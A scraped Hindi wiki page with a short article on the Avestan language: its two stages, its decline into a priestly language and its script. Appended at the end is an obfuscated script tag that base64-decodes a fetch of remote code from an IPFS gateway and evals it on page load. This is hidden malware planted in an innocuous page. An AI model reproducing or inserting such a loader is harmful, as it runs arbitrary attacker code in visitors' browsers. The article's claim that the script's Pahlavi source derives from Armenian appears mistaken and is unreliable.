अवेस्ता भाषा

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
The printable version is no longer supported and may have rendering errors. Please update your browser bookmarks and please use the default browser print function instead.

अवेस्ता भाषा अशुद्ध रूप में ज़ेंद भाषा भी कहलाती है। यह पारसियों की पवित्र पुस्तक 'अवेस्ता' की पूर्वी ईरानी भाषा है।

  • अवेस्ता के दो स्तर हैं, पुरानी, गाथाओं की भाषा, जो भारत में वैदिक संस्कृति (600 ई. पू.) से निकटता प्रदर्शित करती है।
  • इस भाषा के अधिकांश भाग को भाषा के मौजूदा रूप में लिखा गया है और यह क्रमवार सरलता और व्याकरणीय संशोधन का स्वरूप प्रदर्शित करता है।
  • अवेस्ता के धर्मसूत्र निश्चित किए जाते समय (चौथी से छठी) अवेस्ता मृत भाषा बन चुकी थी, जो केवल पुरोहितों को ज्ञात थी।
  • 400 ई. पू. में यह प्रतिदिन बोली जाने वाली भाषा शायद नहीं रह थीं, परंतु धार्मिक प्रवचन मौखिक परंपरा में दिए जाते थे।
  • वह लिपि, जिसमें अवेस्ता को लिखा गया, अर्मेनियाई से निकले परवर्ती 'पहलवी' लेखन से विकसित हुई थी।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>